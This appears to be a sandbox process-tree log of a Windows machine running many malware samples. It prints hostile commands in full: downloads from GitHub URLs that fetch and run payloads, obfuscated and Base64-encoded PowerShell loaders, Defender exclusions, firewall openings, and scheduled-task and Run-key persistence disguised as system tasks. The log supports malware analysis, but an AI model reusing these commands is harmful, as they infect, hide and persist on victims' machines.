C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 27271789302291.bat4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\a\black.exeblack.exe3⤵
-
-
C:\Windows\a\dajoke2.exedajoke2.exe3⤵
-
-
C:\Windows\a\YHY_Setup.exeYHY_Setup.exe3⤵
-
-
C:\Windows\a\loader.exeloader.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\dwareogfn.dll https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/SonyGamaManager.dll --silent > nul 2>&14⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\a\file_b584670f7ec2f317.exefile_b584670f7ec2f317.exe3⤵
-
-
C:\Windows\a\CryptoLocker.exeCryptoLocker.exe3⤵
-
-
C:\Windows\a\Windows.x64.silent.CPU.exeWindows.x64.silent.CPU.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Windows\a\Windows.x64.silent.CPU.exe"4⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit5⤵
- Executes a command shell one-liner
-
-
-
-
C:\Windows\a\XW_XXGL.exeXW_XXGL.exe3⤵
-
-
C:\Windows\a\CritScript.exeCritScript.exe3⤵
-
-
C:\Windows\a\pe2shc.exepe2shc.exe3⤵
-
-
C:\Windows\a\PowerRat.exePowerRat.exe3⤵
-
-
C:\Windows\a\QuizPokemon.exeQuizPokemon.exe3⤵
-
-
C:\Windows\a\AA_v3.exeAA_v3.exe3⤵
-
-
C:\Windows\a\PXray_Cast_Sort.exePXray_Cast_Sort.exe3⤵
-
-
C:\Windows\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
-
-
C:\Windows\a\ZJQPPAJN.exeZJQPPAJN.exe3⤵
-
-
C:\Windows\a\file_e8219df7a9a21088.exefile_e8219df7a9a21088.exe3⤵
-
-
C:\Windows\a\64c95144ee7744879dc688f427e12703.exe64c95144ee7744879dc688f427e12703.exe3⤵
-
-
C:\Windows\a\rsreport.exersreport.exe3⤵
-
-
C:\Windows\a\ZubovLekciya.exeZubovLekciya.exe3⤵
-
-
C:\Windows\a\A.I_1003H.exeA.I_1003H.exe3⤵
-
-
C:\Windows\a\housenetshare.exehousenetshare.exe3⤵
-
-
C:\Windows\a\file_274601599365ef96.exefile_274601599365ef96.exe3⤵
-
-
C:\Windows\a\center.execenter.exe3⤵
-
-
C:\Windows\a\cabal.execabal.exe3⤵
-
-
C:\Windows\a\yx_dts.exeyx_dts.exe3⤵
-
-
C:\Windows\a\PrivacyPolicy.exePrivacyPolicy.exe3⤵
-
-
C:\Windows\a\PingInfoView.exePingInfoView.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\a\file_73ed34a7752ecb3a.exefile_73ed34a7752ecb3a.exe3⤵
-
-
C:\Windows\a\file_77b5757ae75eb20b.exefile_77b5757ae75eb20b.exe3⤵
-
-
C:\Windows\a\32.exe32.exe3⤵
-
-
C:\Windows\a\brbotnet.exebrbotnet.exe3⤵
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding E7ABF3150EBFC89DB7BF0D399D7B8864 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C31A7609D652CD3AF67A34119493060B C2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F1⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe" --runtime --supervisor-pid 41681⤵
-
C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe" --supervisor --adopt-runtime 37842⤵
-
C:\Windows\system32\reg.exe"reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f3⤵
- Modifies registry key
-
-
-
C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe" --supervisor --adopt-runtime 37842⤵
-
C:\Windows\system32\reg.exe"reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f3⤵
- Modifies registry key
-
-
-
C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe" --supervisor --adopt-runtime 37842⤵
-
C:\Windows\system32\reg.exe"reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f3⤵
- Modifies registry key
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_e52c89b6e6519b51.exefile_e52c89b6e6519b51.exe1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"2⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"2⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /F /TN "DiskDiagnostic_Logon_Init" /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" /SC ONLOGON /RL HIGHEST1⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"1⤵
-
C:\Windows\system32\reg.exe"reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f1⤵
- Modifies registry key
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c schtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED1⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c schtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED1⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED1⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED1⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED1⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Speech\OneCore\sapisvr.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Speech\OneCore\sapisvr.exe" --main1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwB3AHMAYwByAGkAcAB0AC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAJwAvAC8AQgAgACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAcABlAGUAYwBoAFwATwBuAGUAQwBvAHIAZQBcAGwAYQB1AG4AYwBoAGUAcgAuAHYAYgBzACIAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuACAALQBVAHMAZQByACAAJwBBAGQAbQBpAG4AJwA7ACQAcAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAnAEEAZABtAGkAbgAnACAALQBMAG8AZwBvAG4AVAB5AHAAZQAgAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0AUgB1AG4ATABlAHYAZQBsACAATABpAG0AaQB0AGUAZAA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAQwBvAHIAZQAnACAALQBBAGMAdABpAG8AbgAgACQAYQAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAAgAC0AUAByAGkAbgBjAGkAcABhAGwAIAAkAHAAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA=2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBjAG0AZAAuAGUAeABlACcAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACcALwBjACAAdABpAG0AZQBvAHUAdAAgAC8AdAAgADEAMgAwACAALwBuAG8AYgByAGUAYQBrACAAPgBuAHUAbAAgACYAJgAgAHcAcwBjAHIAaQBwAHQALgBlAHgAZQAgAC8ALwBCACAAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwBwAGUAZQBjAGgAXABPAG4AZQBDAG8AcgBlAFwAbABhAHUAbgBjAGgAZQByAC4AdgBiAHMAIgAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBPAG4AIAAtAFUAcwBlAHIAIAAnAEEAZABtAGkAbgAnADsAJABwAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFAAcgBpAG4AYwBpAHAAYQBsACAALQBVAHMAZQByAEkAZAAgACcAQQBkAG0AaQBuACcAIAAtAEwAbwBnAG8AbgBUAHkAcABlACAASQBuAHQAZQByAGEAYwB0AGkAdgBlACAALQBSAHUAbgBMAGUAdgBlAGwAIABMAGkAbQBpAHQAZQBkADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBVAEEAJwAgAC0AQQBjAHQAaQBvAG4AIAAkAGEAIAAtAFQAcgBpAGcAZwBlAHIAIAAkAHQAIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABwACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwA2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004EC 0x00000000000004F01⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c FORFILES.EXE /P C:\Windows\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m((,.,/((((((((((((((((((((/, */0x1B[97m"1⤵
- Indirect Command Execution
-
C:\Windows\system32\forfiles.exeFORFILES.EXE /P C:\Windows\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m((,.,/((((((((((((((((((((/, */0x1B[97m"2⤵
- Indirect Command Execution
-
C:\Windows\system32\CMD.exe/C ECHO. [32m((,.,/((((((((((((((((((((/, */[97m3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=17-56;$yIAnYBp=''k5XwE8pj'';$chwoge=''cc95a1a98ee0aeed92f397b89fb2f793a4fc9db38be1faf3cc95a9938ae6f493a4ed84b48cf78aafa8f186908efcbba7a4edafe7d5c1bfa3b4ed9ba996c2a8afb5f091b283b2e7e09ad197a9c1c1bfa3b4ed9ba996c2a8afb5f091b283c6a3b0a4c2c8e7bbfea9f1f392f8f98da4eefde6fbaa939ff0b7a3a6cac1b195f69d96b5d08b9fdef1e8acb4c58b9fbbf7828ef1c5a5ed9ac7b796acfdb58b85f69dacb7fd98ae88f19296a8fdb5b185db9d8eb2c6aa9395db9c82aec6a5e8dff0e8f189c6aa8f83f7e982f0c69fa59fcba382bbfbb59bdff38d8da6ceaa9395c88df1a8fdbab688c69df9a9c5b79b95f1e896b5c69fa5dad99d8af4fbb58b8dca8982afd4aaa9adf1e98eadfda5979cf78982aecfa79b95f1e896b5c69fa5dadeb1a4adfbb78bdbc88d8ef0fbb5b19ac8ea86bbfcc08b9bcbb7b8f4d4b1b6d8db9dacacd4b5ba88db8ef1b4fba5a59cd982b4f8d6ba9783f69296b8fd9b9fadf1928284fdc0ec87f38df4b4cec18b96f1b796b4fbb78f99f08d86b1fd9be8a2f0e886aad4b5be9fdde9f1f8b8ffd7aef6beed95e682b8cfbf8eb9b1fab6b889fbb4a9b5f69db3cfba8194a4e786f3aafcb9afa5f69cbab2a8e09595d9caf3a8f7ae93b5ed9bb388ba8183aef184b89de687fafbd980b282d0bbb3a4a9c68e9be0b3aea6b7d6bfd9a6f3e9e892f8bb9afcb9b4a8f09cfd8bbafeace8e4d6aad2dcbfb7ecd090b78af1aee08ffa86f3b8f7b883adf697b39ba9f287a4ebdf8f8efcbeafacbfd6b1cfbf99afb4f186fdcbfef483aeea9ca9c6eeffbbb5ed8ba69df7aeb5b3f1d2f998bc9eafb6f19eb28ef69ea1b5fedaf9b0bba7a3a0eb91b594efa7bdcc9594a881f1aea9aef1d2b4c7b6bbece5ebdef982befeb0fcdfdaf4c6e9feb9fcc4a2b58efcaeafacd893a98acfe0fa8df093b9aee1a9a5acfd9ea4c7b6bbe9fabba0e0cbebf487a4eba6a49ff7a9e8e8e3cda6cbcdf486b4f39e938effbfe0ecfa83fdcbe6a7fbe5f1cff9bdbc9da5b5d297a987fdbee8e5f2def5b4c0bfa6adfa91a986fdb4ee83f69cb986fcbd86adfe95aeb2b58ab5'';$a8hABT30=''XAxkQTwjSlFuFW9OeQ4JbEoBeUtzQWxRTRRsTHMIAhYXWylNLQRDFx9EYwxZHnZLXxRkQTkWfn5dFGRUcRlKTWNaN2FiCERLWyljUWQMS1xbSClwORAeG1BORExmAk5aFkRiDjQdDEIzagAoNAYYfxZIKkpkGQIfFUAqUipCCg4HUiMQJVgLDgdVIxMlVQpWUwciEz4HVVgZSSEKNwVRS05aIg0hVBcRDFU4DCFUEBEPVT0NeQBCEA9OZ1J3SgwTFkdlVmQdHxARUj0bPlgREQ9QPgwhXhUQVw1qDSFDT09ZRyQLHWdMWRZIKUUtCQUbVUkgQ34JDRtKXVZ2dRVREXsObk10BEtYY1o3d0QrHRF5BXlxZB9MUVlIKUU5RAhSXxRuSjdRGWxqISoCO00CbWpeMwo+RxoWAlxIbDdNDh8ZJDMcN0ReMjRALQZ3CkMfA0AqVmgZCw5bDGREZB5MWBEFPBMlDkMPX1ZuF3QJFwdcUjoTIFVBBwkFPEcoCEBaC1JpFilfRlsIT3pDYkIRDw1TORAnX0ReC1c1ESdYElsIWGlHdghDC1hUOxIhWwpbVw9/Rj1ZF1BMCWhGYgJGUVETYUd+QkhQXU55THUZS1BdEmhRZQ9QV0oJagxkHkxYEU83UXceQ1RZBmVEYwtWWxlANgI0CkJZHl0tBncKQxFtFW9RZB9MUVlIPQ4wSUJYWE5BR34KUVceTS0TIkQoNRoMLR8wShUYHlsAKDQAXAIZDXRSYgJCTV8NI2p/SgUUHkdgR3UeAgQzai0CME1MHxY7Tk1+G0BNSj03GFYfSlJ8AX5HJll2S0wJY0U4SWheSgNlR2M2FGIXSS0GfRQFGEwVY1FjSgV/FkRqRXZBBRtSTC0FN0EFGGwFamNjAAITHkc9BTBBBRhGWDsFOWAvHx5ALWV1GQhvTA9uR2MeWUxREnkCUz1wHxMEaFFzEVZaUgVuVjBAQ1ZME3kCJRFDSx4ubE91QWZva0BwLxpgLx8eQC0CME0FHx4='';$lWG8zv=0xB95C-0x910E;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0xAA)};$r1ZSnDSi=$jkEZ6Itm;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0x55)};$wyV3JTm=$jkEZ6Itm;$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$chwoge.Length;$j+=2){$jkEZ6ItmoldR+=[char](([Convert]::ToInt32($chwoge.Substring($j,2),16))-bxor$r1ZSnDSi[$i++%$r1ZSnDSi.Length])};$hwdEnKy=$jkEZ6ItmoldR;$jkEZ6ItmoldB=[Convert]::FromBase64String([regex]::Replace($a8hABT30, ''$jkEZ6Itm'', ''''));$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$jkEZ6ItmoldB.Length;$j++){$jkEZ6ItmoldR+=[char]($jkEZ6ItmoldB[$j]-bxor$wyV3JTm[$i++%$wyV3JTm.Length])};$egsFSJVcQ=$jkEZ6ItmoldR;$obuXd1W=$hwdEnKy+$egsFSJVcQ;.($env:ComSpec[4,26,25]-join'''') $obuXd1W"'"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand YwB1AHIAbAAgAC0AcwAgAC0ATAAgAC0AbwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcgBlAHMALgBiAGEAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZAAxAG8AdgB1AC8AcABvAG4ALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcgBlAHMALgBiAGEAdAA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AFQARQBNAFAAXAByAGUAcwAuAGIAYQB0ACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA0ACgA=1⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6FA9.tmp" "c:\Users\Admin\AppData\Local\Temp\j24zcmgu\CSCB5C9B5A3DFF4059B5EE268A94A61DB6.TMP"1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe' -ExclusionProcess 'diskdiag.exe' -ExclusionExtension '.exe' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="Windows Disk Diagnostic Infrastructure" dir=in action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" enable=yes profile=any2⤵
- Modifies Windows Firewall
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="Windows Disk Diagnostic Infrastructure" dir=out action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" enable=yes profile=any2⤵
- Modifies Windows Firewall
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /F /TN "DiskDiagnostic_Logon_Init" /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" /SC ONLOGON /RL HIGHEST2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /F /TN "DiskDiagnostic_Health_Audit" /TR "'C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe' --disk-diag-svc" /SC MINUTE /MO 5 /RL HIGHEST2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\Windows\system32\chcp.comchcp.com 4371⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand YwB1AHIAbAAgAC0AcwAgAC0ATAAgAC0AbwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcgBlAHMALgBiAGEAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZAAxAG8AdgB1AC8AcABvAG4ALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcgBlAHMALgBiAGEAdAA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AFQARQBNAFAAXAByAGUAcwAuAGIAYQB0ACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA0ACgA=1⤵
-
C:\Windows\system32\net.exenet session1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED1⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\cmstp.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\.\cmstp.exe 365VPN7.inf1⤵
-
C:\Windows\System32\sc.exesc query Null1⤵
- Launches sc.exe
-
C:\Windows\System32\find.exefind /i "RUNNING"1⤵
-
C:\Windows\system32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
-
C:\Windows\system32\net.exenet session1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=17-56;$yIAnYBp=''k5XwE8pj'';$chwoge=''cc95a1a98ee0aeed92f397b89fb2f793a4fc9db38be1faf3cc95a9938ae6f493a4ed84b48cf78aafa8f186908efcbba7a4edafe7d5c1bfa3b4ed9ba996c2a8afb5f091b283b2e7e09ad197a9c1c1bfa3b4ed9ba996c2a8afb5f091b283c6a3b0a4c2c8e7bbfea9f1f392f8f98da4eefde6fbaa939ff0b7a3a6cac1b195f69d96b5d08b9fdef1e8acb4c58b9fbbf7828ef1c5a5ed9ac7b796acfdb58b85f69dacb7fd98ae88f19296a8fdb5b185db9d8eb2c6aa9395db9c82aec6a5e8dff0e8f189c6aa8f83f7e982f0c69fa59fcba382bbfbb59bdff38d8da6ceaa9395c88df1a8fdbab688c69df9a9c5b79b95f1e896b5c69fa5dad99d8af4fbb58b8dca8982afd4aaa9adf1e98eadfda5979cf78982aecfa79b95f1e896b5c69fa5dadeb1a4adfbb78bdbc88d8ef0fbb5b19ac8ea86bbfcc08b9bcbb7b8f4d4b1b6d8db9dacacd4b5ba88db8ef1b4fba5a59cd982b4f8d6ba9783f69296b8fd9b9fadf1928284fdc0ec87f38df4b4cec18b96f1b796b4fbb78f99f08d86b1fd9be8a2f0e886aad4b5be9fdde9f1f8b8ffd7aef6beed95e682b8cfbf8eb9b1fab6b889fbb4a9b5f69db3cfba8194a4e786f3aafcb9afa5f69cbab2a8e09595d9caf3a8f7ae93b5ed9bb388ba8183aef184b89de687fafbd980b282d0bbb3a4a9c68e9be0b3aea6b7d6bfd9a6f3e9e892f8bb9afcb9b4a8f09cfd8bbafeace8e4d6aad2dcbfb7ecd090b78af1aee08ffa86f3b8f7b883adf697b39ba9f287a4ebdf8f8efcbeafacbfd6b1cfbf99afb4f186fdcbfef483aeea9ca9c6eeffbbb5ed8ba69df7aeb5b3f1d2f998bc9eafb6f19eb28ef69ea1b5fedaf9b0bba7a3a0eb91b594efa7bdcc9594a881f1aea9aef1d2b4c7b6bbece5ebdef982befeb0fcdfdaf4c6e9feb9fcc4a2b58efcaeafacd893a98acfe0fa8df093b9aee1a9a5acfd9ea4c7b6bbe9fabba0e0cbebf487a4eba6a49ff7a9e8e8e3cda6cbcdf486b4f39e938effbfe0ecfa83fdcbe6a7fbe5f1cff9bdbc9da5b5d297a987fdbee8e5f2def5b4c0bfa6adfa91a986fdb4ee83f69cb986fcbd86adfe95aeb2b58ab5'';$a8hABT30=''XAxkQTwjSlFuFW9OeQ4JbEoBeUtzQWxRTRRsTHMIAhYXWylNLQRDFx9EYwxZHnZLXxRkQTkWfn5dFGRUcRlKTWNaN2FiCERLWyljUWQMS1xbSClwORAeG1BORExmAk5aFkRiDjQdDEIzagAoNAYYfxZIKkpkGQIfFUAqUipCCg4HUiMQJVgLDgdVIxMlVQpWUwciEz4HVVgZSSEKNwVRS05aIg0hVBcRDFU4DCFUEBEPVT0NeQBCEA9OZ1J3SgwTFkdlVmQdHxARUj0bPlgREQ9QPgwhXhUQVw1qDSFDT09ZRyQLHWdMWRZIKUUtCQUbVUkgQ34JDRtKXVZ2dRVREXsObk10BEtYY1o3d0QrHRF5BXlxZB9MUVlIKUU5RAhSXxRuSjdRGWxqISoCO00CbWpeMwo+RxoWAlxIbDdNDh8ZJDMcN0ReMjRALQZ3CkMfA0AqVmgZCw5bDGREZB5MWBEFPBMlDkMPX1ZuF3QJFwdcUjoTIFVBBwkFPEcoCEBaC1JpFilfRlsIT3pDYkIRDw1TORAnX0ReC1c1ESdYElsIWGlHdghDC1hUOxIhWwpbVw9